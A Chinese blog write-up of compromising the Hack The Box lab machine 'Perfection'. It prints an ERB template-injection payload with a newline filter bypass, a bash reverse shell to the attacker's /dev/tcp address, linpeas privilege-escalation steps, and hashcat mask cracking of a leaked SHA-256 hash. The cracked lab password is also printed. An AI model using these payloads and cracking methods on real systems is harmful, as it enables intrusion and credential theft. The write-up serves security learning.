首页 > 其他分享 >Perfection

Perfection

时间:2024-03-26 19:34:21浏览次数:22  
标签:10 hash 字符集 密码 Perfection 使用 靶机

#简述

关于HTB机器Perfection的渗透过程
靶机:10.10.11.253
攻击机:10.10.14.65

#过程

1、老样子,nmap扫描目标靶机
nmap -A 10.10.11.253
屏幕截图 2024-03-26 153431.jpg
2、发现只打开了22,80这两个常规端口,使用浏览器访问80端口,发现这个是一个计算加权分数的工具网站。
屏幕截图 2024-03-26 153803.jpg
3、使用dirsearch进行目录扫描,也只是扫出 /about 这一个路径,没啥有价值的收获
屏幕截图 2024-03-26 153839.jpg
屏幕截图 2024-03-26 153929.jpg
4、底部发现 Powered by WEBrick 1.7.0 的字样,思路转向能否使用相对应的CVE漏洞去打
屏幕截图 2024-03-26 154104.jpg
5、简单地去了解一下关于Webrick的信息
屏幕截图 2024-03-26 154307.jpg
6、由于Webrick是由Ruby编写的,而这种语言的特性——使用它搭建的服务器通常会使用通用模板,于是思路来到了SSTI模板注入
屏幕截图 2024-03-26 155820.jpg
7、使用Burpsuite抓包,输入payload(URL编码后):
%3C%25%3D%207%2A7%20%25%3E

原payload:<%= 7*7 %>
屏幕截图 2024-03-26 161456.jpg
语句成功被执行,证明存在注入点

8、尝试命令执行被提示 Malicious input blocked——恶意输入被屏蔽。
屏幕截图 2024-03-26 161748.jpg
9、FUZZ测试一下得到的结果是 %0a 可以绕过这个限制
屏幕截图 2024-03-26 164750.jpg

10、于是思路来到反弹shell这一点,尝试直接执行反弹shell命令多次失败后,换种方式,先在攻击机写一个.sh脚本,里面内容包含反弹shell的命令
屏幕截图 2024-03-26 170821.jpg
11、然后使用python开启一个http服务
屏幕截图 2024-03-26 170900.jpg
12、攻击机监听5555端口,再利用这个SSTI注入点执行curl+bash命令
payload:%0a<%= system('bash -i >& /dev/tcp/10.10.14.65/5555 0>&1') %>
(记得URL编码后再发送)
屏幕截图 2024-03-26 170934.jpg
成功反弹shell!

13、顺利拿到user的flag
屏幕截图 2024-03-26 171015.jpg

14、接下来到提权到root这一部分,先在靶机wget攻击机上的** linpeas.sh** 辅助提权脚本文件
屏幕截图 2024-03-26 171200.jpg
15、chmod增加执行权限后,./linpeas.sh 执行扫描
屏幕截图 2024-03-26 171913.jpg

16、在家目录下的Migration目录下存在一份** pupilpath_credentials.db** 文件,很明显是数据库相关的文件
屏幕截图 2024-03-26 172217.jpg
17、直接cat查看显示会不全,于是把它下载到kali上,通过sqlite3命令查看
屏幕截图 2024-03-26 173214.jpg
屏幕截图 2024-03-26 174015.jpg
发现一堆名字以及其对应的hash值

直接拿这些hash值爆破无果,到了这里之后就卡住了,也是只能去看别人的WP。

18、根据其他师傅的wp提示,在 /var/mail/susan 下,有一封邮件提示,如下图所示:
屏幕截图 2024-03-26 174354.jpg
上面的内容大概是:

由于 PupilPath 数据泄露,我们过渡到 Jupiter Grades,我认为我们也应该迁移我们的凭证(“我们的”,包括其他学生)

在我们班)到新平台。 我还建议采用新的密码规范,以使每个人都更轻松。 密码格式为:
{名字}{名字倒序}{1 到 1,000,000,000 之间随机生成的整数}

请注意,名字的所有字母都应转换为小写。

如果可以的话,请告诉我有关迁移的最新信息。 我目前正在该平台上注册我们的大学。

● 蒂娜,你可爱的学生

19、通过 hash-identifier 工具对hash值:abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
进行识别,大概率是SHA-256
屏幕截图 2024-03-26 175654.jpg

20、结合前面也就意味着 hashcat -m参数选择1400,
屏幕截图 2024-03-26 175847.jpg
而 **-a 3 **是指增量模式,适合已知一部分密码需要爆破剩下部分的情况:

如果你知道密码的一部分是一个从1到10亿的数字,这意味着你需要生成一个9位或10位的数字。
不过,直接使用掩码模式来进行爆破可能会非常花时间,因为你需要遍历10亿个可能性。
如果你还知道其他的密码信息,比如密码的其它部分,使用掩码模式将会更有效。 如果你的哈希类型是 MD5,且你只知道的密码段是一个范围从1到10亿的数字,你可能需要使用以下的命令:
plaintext
hashcat -m 0 -a 3 -i --increment-min=1 --increment-max=10 hash.txt ?d?d?d?d?d?d?d?d?d?d 
在以上命令中:
-m 0 描述了哈希类型(MD5)。
-a 3 表示我们正在使用掩码模式。
-i 以及 --increment-min=1 和 --increment-max=10 指定了你要爆破的最小和最大长度。
默认长度从1开始 ?d?d?d?d?d?d?d?d?d?d 是一个掩码字符串,用于生成尝试的密码。 ?d 表示一位数字,你需要9位或10位数字,所以有9个或10个?d。
不过,如果密码的其他部分也是未知的,这可能需要非常长的时间来进行爆破破解。正常情况下,在知道更多的前提信息的情况下使用掩码模式才更为高效。
? 后面的字符标记定义了特定类型的字符集进行密码尝试的生成。Hashcat 中主要的字符标记有下面这几种:
?l : 一个小写字母的字符集(abcd...z)。
?u : 一个大写字母的字符集(ABCD...Z)。
?d : 一个数字字符集(0123456789)。
?s : 一个特殊字符的字符集(包括所有标准非字母数字的键盘字符,如 ! @ # $ % 等)。
?a : 一个包含以上所有字符集的字符集(即小写字母,大写字母,数字,特殊字符)。
?b : 所有可能的字符256个, 即0x00 - 0xff。
你可以混合使用这些标记来匹配你需要的模式。
例如,如果你知道密码由一个大写字母、一个小写字母和一个特殊字符组成,你就可以写出像 ?u?l?s 的模式。
同时你还可以定义自己的字符集。例如: ?1abcde : 自定义一个字符集包括 'a','b','c','d','e' ?2ABCDE : 自定义一个字符集包括 'A','B','C','D','E' 
然后你就可以以这种方式使用你定义的字符集: ?2?1?1?1,这里使用了字符集 2 中的一个字符和字符集 1 中的三个字符。
通过定义和使用自己的字符集,你可以更具体地生成尝试的密码,特别是当你有更多信息的时候。

信息来源:https://download.csdn.net/blog/column/12211888/136460581

21、成功爆破出来susan用户密码,结果为:susan_nasus_413759210
屏幕截图 2024-03-26 175907.jpg

22、ssh连接到靶机
屏幕截图 2024-03-26 180010.jpg

23、sudo -l 查看到susan用户的sudo可用权限为all,表明用户 susan 被授予了非常广泛的 sudo 权限,可以以任何用户身份执行任何命令。
屏幕截图 2024-03-26 180209.jpg

24、直接 sudo su root ,提权到root,得到最终的root-flag
屏幕截图 2024-03-26 180306.jpg

25、拿下Perfection机器
屏幕截图 2024-03-26 180846.jpg

#总结

1、大致思路 web权限 -> 用户权限 -> root权限
2、关键点&难点:
(1)找到web通往靶机的入口点,这个靶机的考点为SSTI模板注入,通过注入点命令执行进入靶机,之后再进一步提权;
(2)对于靶机自身的信息收集,邮件这条提示再看wp前没找到
(3)关于hash值爆破这块学到了新的知识点,如 hashcat 的-a 3使用;
3、最后就是涉及了一点点sudo提权。

标签:10,hash,字符集,密码,Perfection,使用,靶机
From: https://www.cnblogs.com/gsh23/p/18097389

相关文章

  • Hack The Box-Perfection
    这个里面学到总体思路端口扫描->SSTIRCE->db文件泄露->hashcat破解密码第一步用nmap-A:全面扫描.综合扫描.是一种完整扫描目标信息的扫描方式.--exclude:排除指定的地址例:nmap192.168.1.0/24--exclude192.168.1.1那么就不会对1......
  • CF1333F Kate and imperfection 题解 线性筛
    题目链接:http://codeforces.com/problemset/problem/1333/F题目大意:kate有一个集合S,S中的元素是1到n的整数她认为集合S的一个子集M的集合的不完美值等于\(\max_{a,b\in......